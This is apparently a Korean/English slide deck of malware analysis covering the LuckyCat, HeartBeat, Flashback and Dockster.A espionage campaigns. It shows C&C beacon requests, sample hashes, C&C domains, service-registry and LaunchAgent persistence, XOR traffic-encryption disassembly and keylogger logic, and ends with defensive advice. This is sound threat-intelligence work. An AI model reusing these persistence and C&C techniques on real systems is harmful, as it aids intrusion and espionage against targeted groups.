# APT

*Cyber-espionage Threat*

forensic.nofate.com

# Contents

- APT?
- LuckyCat APT
- Heartbeat APT
- Flashback & Dockster.A
- Conclusion

# APT?

Rootkit.Win32.Stuxnet geography
STUXNET
Number of users
0 - 1,310
1,310 - 2,620
2,620 - 3,930
3,930 - 5,240
5,240 - 6,550

# APT?

Operation "Red October"
Victims of advanced cyber-espionage network
Ukraine
Moldova
Lithuania
Latvia
Hungary
Finland
Czech Republic
Germany
Russian Federation
Belgium
Luxembourg
Ireland
Kazakhstan
France
United States
Spain
Turkey
Japan
Portugal
Serbia
Iran
Algeria
Italy
India
Morocco
Mauritania
Brunei
Mali
Ethiopia
Greece
Uganda
Uzbekistan
Indonesia
Kenya
Cyprus
Pakistan
Israel
Tanzania
Brazil
Turkmenistan
Jordan
Iraq
Congo
Qatar
Australia
United Arab Emirates
Mozambique
Oman
Chile
Botswana
Saudi Arabia
South Africa
Government
Diplomatic / embassies
Research institutions
Trade and commerce
Nuclear / energy research
Oil and gas companies
Military
Aerospace
Unknown Victims
1 Albania
2 Afganistan
3 Armenia
4 Austria
5 Azerbaijan
6 Belarus
7 Bulgaria
8 Bosnia and Herzegovina
9 Croatia
10 Georgia
11 Lebanon
12 Macedonia
13 Slovakia
14 Switzerland
15 Bahrain
16 Kuwait
KASPERSKY lab
© 1997-2013 Kaspersky Lab ZAO.
All Rights Reserved.

# Classification

## Cyber-espionage, spying

Enemy secrets leaked

## Criminal syndicate

money, money, money

# APT

- Advanced Persistent Threat
- 외국 정부기관과 같은 그룹의 정보를 지속적이고 효과적으로 유출하는 위협을 말함
- 정보 수집 기술을 통해 민감한 정보에 접근하는 인터넷을 통한 스파이 활동 뿐만 아니라 고전 스파이 활동을 포함.

# APT

- Advanced : intelligence-gathering techniques (such as telephone-interception, satellite imaging)
- Persistent : “low-and-slow” approach
- Threat : they have both capability and intent.

# APT - Life Cycle

*Reference : http://en.wikipedia.org/wiki/File:Advanced_Persistent_Threat_Chart.png*

# Case

- LuckyCat APT
  - Inside an APT Campaign with Multiple Targets in India and Japan : http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_luckycat_redux.pdf
- The HeartBeat APT
  - The HeartBeat APT Campaign : http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the-heartbeat-apt-campaign.pdf
- Flashback and Dockster.A Malware

# LuckyCat APT

# Major Target

COLLABORATED
MILITARY RESEARCH

NASA & RUSSIAN ACADEMY OF SCIENCES

# Diversity of Target

India Military
Research Institution

Japanese Tibetan
Activist Community

# Diversity of Target

- ~ June, 2011
  - has been linked to 90 attacks against targets in japan and india as well as tibetan activists
- Luckycat campaign managed to compromise 233 computers
- Target OS : Windows, Mac OS X, Android

# Example of Luckycat attacks (Japan)

- Time : the confusion after the Great East Japan Earthquake and the Fukushima Nuclear Power Plant accident.
- Vulnerability : Adobe Reader-CVE-2010-2883
- decoy document : radiation dose measurement results which where published on the Tokyo Power Electric Company (TEPCO) website.

# Example of Luckycat attacks (Japan)

【別紙】福島第二原子力発電所モニタリングによる計測状況

計測日：3月28日

| 計測時間 | 計測場所 | γ線 | 中性子線 | 風向 | 風速(m/s) |
|---|---|---|---|---|---|
| 午前9時00分 | MP－4付近 | 6．6 μSv/h | － | － | － |
| 午前8時50分 | MP－4付近 | 6．6 μSv/h | － | － | － |
| 午前8時40分 | MP－4付近 | 6．6 μSv/h | － | － | － |
| 午前8時30分 | MP－4付近 | 6．6 μSv/h | － | － | － |
| 午前8時20分 | MP－4付近 | 6．6 μSv/h | － | － | － |
| 午前8時10分 | MP－4付近 | 6．6 μSv/h | － | － | － |
| 午前6時00分 | MP－4付近 | 6．7 μSv/h | － | － | － |
| 午前5時50分 | MP－4付近 | 6．6 μSv/h | － | － | － |
| 午前5時40分 | MP－4付近 | 6．7 μSv/h | － | － | － |
| 午前5時30分 | MP－4付近 | 6．7 μSv/h | － | － | － |
| 午前5時20分 | MP－4付近 | 6．7 μSv/h | － | － | － |
| 午前5時10分 | MP－4付近 | 6．7 μSv/h | － | － | － |
| 午前3時00分 | MP－4付近 | 6．8 μSv/h | － | － | － |
| 午前2時50分 | MP－4付近 | 6．7 μSv/h | － | － | － |
| 午前2時40分 | MP－4付近 | 6．8 μSv/h | － | － | － |
| 午前2時30分 | MP－4付近 | 6．8 μSv/h | － | － | － |
| 午前2時20分 | MP－4付近 | 6．7 μSv/h | － | － | － |
| 午前2時10分 | MP－4付近 | 6．8 μSv/h | － | － | － |
| 午前0時00分 | MP－4付近 | 6．8 μSv/h | － | － | － |

# Example of Luckycat attacks (India)

- Time : 2010 ~ 2012
- Vulnerability : Microsoft Office-CVE-2010-3333
- decoy document : information on India's ballistic missile defense program.

# Example of Luckycat attacks (India)

# Example of Luckycat attacks (Tibet)

- Time : 2010 ~ 2012
- Vulnerability : Microsoft Office-CVE-2010-3333
- decoy document : .DOC attachments that leverage Tibetan themes

# Example of Luckycat attacks (Tibet)

# Diversity of Malware

- five malware families either utilized by or hosted on the same dedicated server
- first-stage malware prove very simplistic
- Some were used as second-stage malware
  - attackers pushed to victims whose network were compromised by first-stage malware

# Diversity of Infrastructure

- Luckycat use free web-hosting services that provide a diversity of domain name as well as IP addresses
- the attackers alse made use of Virtual Private Servers(VPSs) that not only housed their primary malware - TROJ_WIMMIE but other as well.
  - These servers may also act an anchors

# Diversity of Infrastructure

# Operations

1. send to spear phishing email(or SMS)
TROJ_WIMMIE
VBS_WIMMIE
3. connects to a C&C server via HTTP over port 80
BOT

# LuckyCat

- VBS_WIMMIE registers a script that work as a backdoor to the WMI event handler and deletes files associated with it or TROJ_WIMMIE
- TROJ_WIMMIE is a remote access malware that make it easy to gather data form the infected computer without noticing what is happening

# Initial Communication

```
POST/count/count.php?m=c&n=[HOSTNAME]_
[MAC_ADDRESS]_[CAMPAIGN_CODE]@HTTP/1.0
Accept: */*
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE
7.0; Windows NT 5.1; .NET CLR 2.0.50727;
.NET CLR 3.0.4506.2152; .NET CLR
3.5.30729)
Host: [HOSTNAME]
Content-Length: 0
Connection: Keep-Alive
Pragma: no-cache
```

- The compromised computer posts data to PHP script that runs on the C&C server

# Initial Communication

- The initial communication results in the creation of a empty file on the C&C server that contains information on the compromised computer.
- attackers use to identify which malware attack caused the compromise:
- The attacker then creates a file with a name that ends in @.c

# Initial Communication

- The compromised computer then downloads the file and executes the specified command
  - Download/Upload file, Get external IP Address, Execute shell command
- The compromised computer then sends the output to the C&C server and delete the command file

# Initial Communication

- One of the common initial commands instructs the compromised computer to upload the results of information-gathering commands
- The resulting files are compressed using the CAB compression format and uploaded to the C&C server

# Initial Communication

```
t Name:                    N0FATE-VICTIM
Name:                      Microsoft Windows XP Professional
Version:                   5.1.2600 Service Pack 3 Build 2600
Manufacturer:              Microsoft Corporation
Configuration:             Standalone Workstation
Build Type:                Uniprocessor Free
gistered Owner:            n0fate
gistered Organization:
oduct ID:                  76487-642-2714392-23557
iginal Install Date:       10/12/2011, 11:08:25 AM
tem Up Time:               118 Days, 0 Hours, 5 Minutes, 39 Seconds
stem Manufacturer:         VMware, Inc.
stem Model:                VMware Virtual Platform
stem type:                 X86-based PC
ocessor(s):                1 Processor(s) Installed.
                           [01]: x86 Family 6 Model 23 Stepping 10 GenuineIntel
2520 Mhz
OS Version:                INTEL  - 6040000
indows Directory:          C:\WINDOWS
stem Directory:            C:\WINDOWS\system32
oot Device:                \Device\HarddiskVolume1
stem Locale:               en-us;English (United States)
```

systeminfo

```
ge Name                     PID Session Name     Session#    Mem Usage
========================== ====== ================ ======== ============
stem Idle Process             0 Console                 0         28 K
stem                          4 Console                 0        244 K
ss.exe                      540 Console                 0        388 K
rss.exe                     608 Console                 0      2,116 K
inlogon.exe                 632 Console                 0      5,520 K
ervices.exe                 732 Console                 0      3,224 K
sass.exe                    744 Console                 0      1,560 K
acthlp.exe                  908 Console                 0      2,328 K
host.exe                    920 Console                 0      4,704 K
chost.exe                   984 Console                 0      4,264 K
chost.exe                  1124 Console                 0     18,584 K
chost.exe                  1168 Console                 0      3,368 K
chost.exe                  1224 Console                 0      4,284 K
xplorer.exe                1568 Console                 0      1,436 K
poolsv.exe                 1688 Console                 0      5,696 K
undll32.exe                1792 Console                 0      3,060 K
iteCli.exe                 1800 Console                 0      4,688 K
htoolsd.exe                1816 Console                 0     14,116 K
vchost.exe                  164 Console                 0      3,148 K
                            384 Console
```

tasklist

# Malware samples

| MD5 | CVE Identifier | Campaign Code |
|---|---|---|
| dab3f591b37f5147ae92570323b5c47d | *CVE-2010-3333* | w1229 |
| c023544af85edacc66cd577a0d665dec | *CVE-2010-3333* | w1229 |
| cff0964ed2df5659b0a563f32b7c3eca | *CVE-2010-3333* | 214 |
| 3deb2a5fcb6bf1f80a074fd351e6f620 | *CVE-2010-3333* | 2012 |
| 1aa1e795a5ba75f2a5862c6d01205b57 | *CVE-2010-2883*<br>*CVE-2010-3654*<br>*CVE-2011-0611* | 110824p |
| 6a62d4532c7a0656381fee8fb51874d7 | *CVE-2010-2883*<br>*CVE-2010-3654*<br>*CVE-2011-0611* | longjiao |
| cb9ab22f3356a3b054a7e9282a69f71e | *CVE-2011-2462* | gop |
| 1dafdc9e507771d0d8887348ce3f1c52 | *CVE-2010-3333* | gop |
| 039a6e012f33495a1308b815ef098459 | *CVE-2010-3333* | luck |
| be0b2e7a53b1dcacb8c54c180dc4ca27 | *CVE-2010-2883*<br>*CVE-2010-3654*<br>*CVE-2011-0611* | 11727p |
| 00f07b0e701dcfa49e1c907f9242d028 | *CVE-2010-2883*<br>*CVE-2010-3654*<br>*CVE-2011-0611* | 110705hktq |
| 411ab5eb2ef3153b61a49964f9ab4e64 | *CVE-2011-2462* | 1229 |
| dcac508495d9800e476aa0c8e11b748d | *CVE-2010-3333* | 2012 |
| 00e686e382806c33d9ae77256f33ed93 | Not applicable | LY |

# Campaign Connections

- ShadowNet
- Duojeen
- Sparksrv
- Comfoo

# ShadowNet

- sample targeted email with both Luckycat and ShadowNet malware attachments

from comitatoprotibet2011@gmail.com
subject **Fw:Self-Immolations** 12-01-11 10:09 PM
to other actions

China announces Stepped-up Control in Tibetan Monasteries

In the wake of recurring self-immolations inside in Tibet, China has announced that it will step-up its control on the management of monasteries across Tibet. According to Xinhua, a CCP mouthpiece, senior officials of Tibet Autonomous Region have pledged to increase efforts to strengthen the management of monasteries in the 'fight against the Dalai Lama group'.

Analysts say that increasing desperation over government restrictions on religious practice and the absence of any alternative forms of expressing grievances in Tibet are the reasons behind the self immolations that have taken place over the last year. During a meeting, the Deputy head of the Chinese People's Political Consultative Conference-Tibet Committee announced that the committee will focus this year's work on strengthening government management of monasteries.

US_Seriously_...molations.doc Lama_Sopa_Tul...molation.pdf

# ShadowNet

- Relationship between Luckycat and shadowNet

# ShadowNet

- malware was configured to connect to two blogs and a Yahoo Group in order to find the C&C server's location.

# The HeartBeat APT

# Time

- The Heartbeat campaign has been successfully executing targeted attacks since Nov 2009 to June 2012.

# Targets

- The HeartBeat campaign appears to target government organizations and institutions or communities that are in some way related to the South Korean government.

# Targets

정당

언론사

Source : http://games.renpy.org/site_media/media/screenshot/title-heartbeats-final.png

작은 중소 업체

정책연구소

각 군

# Context

- June 2012 : first Heartbeat RAT component was discovered in a Korean newspaper company network
- Further investigation revealed that the campaign has been actively distributing their RAT component to their targets in 2011 and the first half of 2012.
- Earlier versions of the HeartBeat campaign's RAT component contained the following strings in their codes:

```
100013E5  .v 75 1C        JNZ SHORT Network_.10001403
100013E7  .  E8 64FFFFFF  CALL Network_.10001350
100013EC  .  8B0D E402001 MOV ECX,DWORD PTR DS:[<&MSVCIRT.?cout@@  MSVCIRT.?cout@@3Vostream_withassign@@A
100013F2  .  68 AC050010  PUSH Network_.100005AC                   ASCII "HeartBeat Fail ReConnect.. OK!"
100013F7  .  FFD7         CALL EDI
```

# Attack Vector

- 악성코드의 구성
  - 여러 파일이 포함된 하나의 실행파일 형태
    - 확장자는 xxx.pdf.exe 형태로 구성
    - 실행 파일의 아이콘은 문서 파일과 동일
    - 실행 파일 내부에 정상 문서와 악성코드를 포함
    - 정상적인 문서 파일에 암호가 걸려 있음
      - 메일에 써있는 암호를 입력해야 함

# Attack Vector

- Example of a decoy Adobe Reader documents

# Attack Vector

- 대통령에게 건의사항.hwp (Nov 2011)

# Infection Flow

# The RAT Component

- Backdoor Functionalities
  - 동작 중인 프로세스 목록과 관련 프로세스 ID
  - 파일 존재여부/생성시간/업로드/다운로드/실행/삭제
  - 자기 자신을 업데이트/삭제
  - 프로세스 생성/종료
  - 제거 가능한/고정 드라이브 목록
  - 원격 커맨드 쉘 오픈, 시스템 재부팅

# The RAT Component

- 설치와 영속성 설정

**RAT executable files**

- %System%\msrt.exe
- %Program Files%\Common Files\AcroRd32.exe
- %Program Files%\Common Files\config.exe
- %Program Files%\Common Files\explorer.exe

**.DLL component which contains the backdoor capabilities**

- %Program Files%\Common Files\Services\6to4nt.dll
- %Program Files%\Common Files\System\6to4nt.dll
- %Program Files%\Windows NT\Accessories\6to4nt.dll
- %Program Files%\Windows NT\htrn.dll
- %Program Files%\Windows NT\htrn_jls.dll
- %Program Files%\Windows NT\hyper.dll
- %System%\Network Remote.dll
- %System%\SvcHost.dll

# The RAT Component

- 설치와 영속성 설정
  - A DLL that uses fake file properties

# The RAT Component

- 설치와 영속성 설정
  - 특정 경우에는 RAT 설치 시 2개의 DLL 파일을 생성함.
  - 하나는 다른 DLL의 로더 역할을 수행함.
  - 다른 하나는 백도어 페이로드를 가짐
  - DLL 컴포넌트는 레지스트리 값을 추가하여 서비스를 등록함.
  - 서비스 등록은 설치 시점에 수행함.

# The RAT Component

- 설치와 영속성 설정

```
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\{service name}
Type = "20"
Start = "2"
ErrorControl = "1"
ImagePath = "%SystemRoot%\System32\svchost.exe
-k netsvcs"
ObjectName = "LocalSystem"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\{service name}\Parameters
ServiceDll = C:\Program Files\Windows NT\htrn.
dll
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\{service name}\Security
Security = {values}

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\{service name}\Enum
0 = "Root\LEGACY_{service name}\0000"
Count = "1"
NextInstance = "1"
*{service name} may be "6to4", "Ias" or
"Irmon".
```

# The RAT Component

- 설치와 영속성 설정
  - DLL은 매번 시스템이 실행될 때마다 서비스 형태로 로드.
  - DLL은 로딩 시점에 svchost.exe 프로세스에 인젝션 됨.
  - 설치 후에 RAT 설치관리자는 자기 자신을 삭제함.
    - 시스템에는 DLL과 관련 레지스트리만 남음.
    - 실제론 이 DLL이 모든 임무를 수행함.

# C&C Communication

- RAT의 . DLL 컴포넌트가 svchost.exe에 인젝션되면, C&C 서버에 자기자신을 동록함.
  - Computer name, Local IP, Service pack
- 그리고 패스워드(ex. “qawsed”)를 전송함.
- RAT은 보통 80포트를 사용하지만, 최근 버전은 443이나 5600, 8080 포트를 사용하기도 함

# C&C Communication

- RAT's C&C communication is encrypted with XOR encryption using a sing byte key, 02H

```
10002900  $ 53            PUSH EBX
10002901  . 55            PUSH EBP
10002902  . 56            PUSH ESI
10002903  . 57            PUSH EDI
10002904  . 33FF          XOR EDI,EDI
10002906  . BE 08080000   MOV ESI,808
1000290B
1000290D  > 8A5C04 1C     MOV BL,BYTE PTR SS:[ESP+EAX+1C]
10002911  . 80F3 02       XOR BL,2
10002914  . 885C04 1C     MOV BYTE PTR SS:[ESP+EAX+1C],BL
10002918  . 40            INC EAX
10002919  . 3D 00080000   CMP EAX,800
1000291E  . 7C ED         JL SHORT system_6.1000290D
10002920
10002927  . 8B2D 0031001  MOV EBP,DWORD PTR DS:[<&WS2_32.#19>]      WS2_32.send
1000292D  > 6A 00         PUSH 0
1000292F  . 8D443C 18     LEA EAX,DWORD PTR SS:[ESP+EDI+18]
10002933  . 56            PUSH ESI
10002     . 50            PUSH EAX
10002     . 53            PUSH EBX
10002     . FFD5          CALL EBP
10002     . 83F8 FF       CMP EAX,-1
10002     v 74 12         JE SHORT system_6.1000294F
10002     . 2BF0          SUB ESI,EAX
10002     . 03F8          ADD EDI,EAX
10002     . 85F6          TEST ESI,ESI
10002     ^ 7F E8         JG SHORT system_6.1000292D
10002     . 5F            POP EDI
10002     . 5E            POP ESI
10002     . 5D            POP EBP
10002     . B8 01000000   MOV EAX,1
10002     . 5B            POP EBX
10002     . C3            RETN
10002     . 5F            POP EDI
10002     . 5E            POP ESI
10002     . 5D            POP EBP
10002     . 33C0          XOR EAX,EAX
10002     . 5B            POP EBX
10002955  . C3            RETN

Jump is taken
1000290D=system_6.1000290D

Address   Hex dump                                          ASCII
0006E3E8  02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02   ################
0006E3F8  02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02   ################
0006E408  02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02   ################
0006E418  02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02   ################
0006E428  02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02   ################
0006E438  02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02   ################
0006E448  02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02   ################
0006E458  02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02   ################
0006E468  02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02   ################
0006E478  02 02 02 02 02 02 02 02 00 00 00 00 00 00 00 00   ########........
0006E488  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0006E498  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0006E4A8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0006E4B8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0006E4C8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0006E4D8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0006E4E8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0006E4F8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0006E508  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0006E518  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0006E528  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0006E538  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0006E548  14 01 00 00 05 00 00 00 01 00 00 00 28 0A 00 00   ¶0..♣...0...(...
0006E558  02 00 00 00 53 00 65 00 72 00 76 00 69 00 63 00   ☻...S.e.r.v.i.c.
0006E568  65 00 20 00 50 00 61 00 63 00 6B 00 20 00 33 00   e. .P.a.c.k. .3.

0006E2EC  0006EB08
0006E2F0  0006F8A8
0006E2F4  0006F8C4
0006E2F8  10002D31  syste
0006E2FC  10001636  RETUR
0006E300  00000001
0006E304  00000000
0006E308  02430249
0006E30C  024E0250
0006E310  022F0246
0006E314  024B0255
0006E318  025A024C
0006E31C  02020252
0006E320  02020202
0006E324  02020202
0006E328  02020202
0006E32C  02020202
0006E330  02020202
0006E334  02020202
0006E338  02020202
0006E33C  02020202
0006E340  02020202
0006E344  02020202
0006E348  02020202
0006E34C  02020202
0006E350  02020202
0006E354  02020202
```

# C&C Communication

```
10001C93  .   85C0          TEST EAX,EAX
10001C95  .v  0F84 3D01000  JE htrn.10001DD8
10001C9B  .   6A 00         PUSH 0                                  Flags = 0
10001C9D  .   8D8424 20010  LEA EAX,DWORD PTR SS:[ESP+120]
10001CA4  .   68 08080000   PUSH 808                                BufSize = 808 (2056.)
10001CA9  .   50            PUSH EAX                                Buffer
10001CAA  .   53            PUSH EBX                                Socket
10001CAB  .   FF15 FC30001  CALL DWORD PTR DS:[<&WS2_32.#16>]       recv
10001CB1  .   85C0          TEST EAX,EAX
10001CB3  .v  0F8E 1601000  JLE htrn.10001DCF
10001CB9  .   33C0          XOR EAX,EAX
10001CBB  >   8A8C04 24010  MOV CL,BYTE PTR SS:[ESP+EAX+124]
10001CC2  .   80F1 02       XOR CL,2
10001CC5  .   888C04 24010  MOV BYTE PTR SS:[ESP+EAX+124],CL
10001CCC  .   40            INC EAX
10001CCD  .   3D 00080000   CMP EAX,800
10001CD2  .^  7C E7         JL SHORT htrn.10001CBB
```

- RAT's decryption code upon receiving data from the C&C server

# C&C Communication

Decryption

# C&C Communication

- the port, C&C address, campaign code and password are hardcoded in the RAT's malware body in plain text
- however, In some RAT versions are encrypted and are decrypted only during run-time.

# Command and Control

- 도메인 중심으로 운영됨.
  - 각 C&C사이트는 아르메니아, 미국, 일본, 인도, 대한민국이 소유한 IP로 리다이렉트 됨.
- 모든 IP 주소는 합법적인 ISP의 소유
  - 조사 결과 감염된 호스트를 프록시 서버로 이용하여 모든 트래픽을 실제 C&C서버로 전송함.
  - 즉, 중간에 하나의 레이어를 두어서 익명성을 향상

# Command and Control

# Command and Control

| Domain | IP Address |
|---|---|
| ahnlab.myfw.us | XXX.XXX.217.123 /XXX.XX.121.84 |
| kissyou01.myfw.us | XX.XXX.203.122 / XX.XXX.20.103 |
| kita.myfw.us | XXX.XXX.217.123 / XXX.XX.121.84 |
| login.sbs.com.PassAs.us | XXX.XXX.178.50 |
| mail2.myfw.us | XX.XXX.15.63 / XXX.XXX.198.93 |
| park007.myfw.us | unknown |
| snrp.UglyAs.com | XXX.XXX.169.45 |
| www.banking.com.PassAs.us | XXX.XXX.178.50 |
| www.huyang.go.kr.PassAs.us | XXX.XXX.217.123 / XX.XXX.136.115 |
| www.kinu.or.kr.rr.nu | XXX.XXX.178.50 |
| www.kndu.ac.kr.myfw.us | XXX.XXX.4.180 |
| young03.myfw.us | XX.XXX.203.122 |

Table 1. List of HeartBeat C&Cs

# Relationships among Domain, IPs, Campaigns

# Attribution

- 공격자의 흔적을 찾기가 쉽지 않음
  - 점령된 호스트를 C&C 프록시 서버로 활용
- 몇몇 첨부문서 명이 중국어로 되어 있었음
  - guohui, xuehui, minzhu
- C&C 도메인 명이나 도구의 문구는 모두 영문으로 작성
- 제한적인 정보로 인해 가해자를 찾기 어려웠음.

# Defending against the heartbeat campaign

- HeartBeat RAT 컴포넌트 관련 서비스를 비활성화
- 시스템 방화벽 활성화
- 소프트웨어와 운영체제 업데이트를 최신버전으로 적용
- 사용하지 않는 포트의 인바운드를 막는다.
- 네트워크 연결을 모니터링 한다.
- 신뢰 사이트 목록을 정기적으로 업데이트 한다.
- 메일에서 VBS,BAT,EXE,PIF,SCR 파일을 방어하기 위해 이메일 서버를 재설정
- 알려지지 않은 소스의 링크나 첨부문서를 열지 않는다.
- 하나 이상의 확장자가 들어간 파일을 주의한다.
- 탐색기에서 숨겨진 파일과 확장자가 보이도록 설정한다..
- 로컬 컴퓨터의 로그인 정보를 저장하지 않는다.

# Flashback & Dockster.A

# Flashback - Infection

- Flashback is a Trojan horse affecting personal computer systems running Mac OS
- This Trojan has infected over 600,000 Mac computers forming a botnet that includes 274 bots located in Cupertino, California

# Flashback - Details

# Flashback - Resolution

- Oracle fixed the vulnerability exploited to install Flashback on Feb 14, 2012.
- Apple maintains the Mac OS X version of Java and did not release an update containing Apr 4, 2012 after exploited :(
- In Apr 12, 2012, the company issued a further update to remove the most common Flashback variants

# OSX/Dockster.A

- It has discovered a Dalai Lama related website is compromised and is pushing new Mac malware, call Dockster, using a Java-based exploit.
- Java-based exploit uses the same vulnerability as “Flashback”, CVE-2012-0507
- The malware dropped, Backdoor:OSX/Dockster.A, is basic backdoor with file download and keylogger capabilities.

# OSX/Dockster.A

- There is also an exploit CVE-2012-4681 with a windows-based payload: Win32/ Trojan.Agent.AXMO
- CVE-2012-4681 : Multiple vulnerabilities in the JRE component in Oracle Java SE 7 Update 6 and earlier allow remote attackers to execute arbitrary code.

# OSX/Dockster.A

# OSX/Dockster.A

- whois information

*gyalwarinpoche.com*

```
Registrant:
 Office of HH the Dalai Lama
 Office of HH the Dalai Lama
 PO Mcleod Ganj
 Dharamsala,  176219
 IN

 Domain name: GYALWARINPOCHE.COM

 Administrative Contact:
    Office of HH the Dalai Lama, Secretary

    Office of HH the Dalai Lama
    PO Mcleod Ganj
    Dharamsala,  176219
    IN
    911892221343
```

*dalailama.com*

```
Registrant:
The Office of His Holiness the Dalai Lama
   Thekchen Choeling
   P.O. McLeod Ganj
   Dharamsala, HP 176219
   IN

   Domain Name: DALAILAMA.COM
```

# OSX/Dockster.A

- why?

# OSX/Dockster.A

```
n0fate@n0fate-MacBook-Pro:~/Dropbox/malware/OSXDockster_Trojanaxmo/OSX$ file *
destmarc.jar: Zip archive data, at least v2.0 to extract
n0fate@n0fate-MacBook-Pro:~/Dropbox/malware/OSXDockster_Trojanaxmo/OSX$
n0fate@n0fate-MacBook-Pro:~/Dropbox/malware/OSXDockster_Trojanaxmo/OSX$
n0fate@n0fate-MacBook-Pro:~/Dropbox/malware/OSXDockster_Trojanaxmo/OSX$ unzip -d test
destmarc.jar
Archive:  destmarc.jar
   creating: test/META-INF/
  ... [SNIP] ....
  inflating: test/file.tmp
n0fate@n0fate-MacBook-Pro:~/Dropbox/malware/OSXDockster_Trojanaxmo/OSX$ file test/*
test/META-INF:     directory
test/Union1.class: compiled Java class data, version 50.0 (Java 1.6)
test/a.class:      compiled Java class data, version 50.0 (Java 1.6)
test/b.class:      compiled Java class data, version 50.0 (Java 1.6)
test/c.class:      compiled Java class data, version 50.0 (Java 1.6)
test/d.class:      compiled Java class data, version 50.0 (Java 1.6)
test/e.class:      compiled Java class data, version 50.0 (Java 1.6)
test/f.class:      compiled Java class data, version 50.0 (Java 1.6)
test/file.tmp:     Mach-O universal binary with 2 architectures
test/file.tmp (for architecture ppc): Mach-O executable ppc
test/file.tmp (for architecture i386):Mach-O executable i386
n0fate@n0fate-MacBook-Pro:~/Dropbox/malware/OSXDockster_Trojanaxmo/OSX$
```

# OSX/Dockster.A

*fseventer : http://www.fernlightning.com/doku.php?id=software:fseventer:start*

# OSX/Dockster.A

- hiding .Dockster Binary & process list

```
toms-Mac:~ tom$ ls -al
total 2368
drwxr-xr-x+ 22 tom   staff     748 11 20 00:21 .
drwxr-xr-x   5 root  admin     170  7 26 11:45 ..
-rw-------   1 tom   staff       3  7 26 11:45 .CFUserTextEncoding
-rw-r--r--@  1 tom   staff   12292 11 20 00:12 .DS_Store
-rwxr-xr-x   1 tom   staff  241621 11 29  2012 .Dockset
drwx------   2 tom   staff      68 11 19 23:54 .Trash
-rw-------   1 tom   staff     262 11 20 00:04 .bash_history
drwx------+  3 tom   staff     102  7 26 11:45 Desktop
drwx------+  3 tom   staff     102  7 26 11:45 Documents
toms-Mac:~ tom$
```

# OSX/Dockster.A

- Register plist to LaunchAgents (AutoStart)

```
toms-Mac:~ tom$ cd Library/
toms-Mac:Library tom$ cd LaunchAgents/
toms-Mac:LaunchAgents tom$ ls
mac.Dockset.deman.plist
toms-Mac:LaunchAgents tom$ strings mac.Dockset.deman.plist
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST
1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict>
<key>Label</key>
<string>mac.Dockset.deman</string>
<key>OnDemand</key>
<false/>
<key>Program</key>
<string>/Users/tom/.Dockset</string>
<key>ProgramArguments</key>
<array>
<string>first</string>
</array> </dict> </plist>
toms-Mac:LaunchAgents tom$
```

# OSX/Dockster.A

- Dockset 의 인자가 key이면 바로 키로거를 실행 함.

```
9   v2 = *(const char **)(a2 + 4);
10  if ( v2 && strstr(v2, "key") )
11  {
12    RunKeyLogger();
13    return 0;
14  }
```

- 아닌 경우 인코딩된 설정 값을 불러와서 디코딩을 수행 함.

```
15  if ( !datahh() )
16  {
17    v3 = g_newconfig;
18    rebytes(g_newconfig, 0, 4u);
19    rebytes(v3 + 4, 0, 2u);
20    rebytes(v3 + 8, 0, 4u);
21    rebytes(v3 + 6, 0, 2u);
22  }
23  g_path = *(_DWORD *)a2;
24  gethostkey(g_mac, 18);
```

# OSX/Dockster.A

- 하드코딩된 시간이 현재 시간보다 이전이면, 자기 자신을 삭제 후 종료

```
jz      short loc_349D

mov     dword ptr [esp], 204h
call    __Znwm          ; operator new(ulong)
mov     ebx, eax
mov     [esp], eax
call    __ZN10ExeInstallC1Ev ; ExeInstall::ExeInstall(void)
mov     dword ptr [esp], 0 ; time_t *
call    _time
mov     edx, [ebp+var_2C]
cmp     eax, [edx+8]
jle     short loc_349D

loc_349D:
mov     ebx, ds:_g_path
mov     esi, offset aWorking ; "working"
```

# OSX/Dockster.A

- 악성코드 설치 과정을 진행 함.

```
jmp     short loc_351E

loc_351E:
mov     eax, ds:_g_isfirstrun_ptr
mov     byte ptr [eax], 1
mov     [esp], ebx          ; char *
call    __ZN10ExeInstall10SetWorkingEv ; ExeInstall::SetWorking(void)
test    ebx, ebx
jz      short loc_356E

mov     [esp], ebx
call    __ZN10ExeInstallD1Ev ; ExeInstall::~ExeInstall()
mov     [esp], ebx          ; void *
call    __ZdlPv             ; operator delete(void *)
jmp     short loc_356E

loc_3566:
mov     eax, ds:_g_isfirstrun_ptr
mov     byte ptr [eax], 0
```

# OSX/Dockster.A

- Function List

```
__Z18RunKeyLoggerThreadPv
__Z9RunThreadPFPvS_ES_
__Z11consultCS_Qic
__Z11cousultCS_Ric
....
_inv_shift_sub_rows
_aes_set_key
_update_encrypt_key_128
_update_decrypt_key_128
_update_encrypt_key_256
_mix_sub_columns
_inv_mix_sub_columns
_aes_decrypt_256
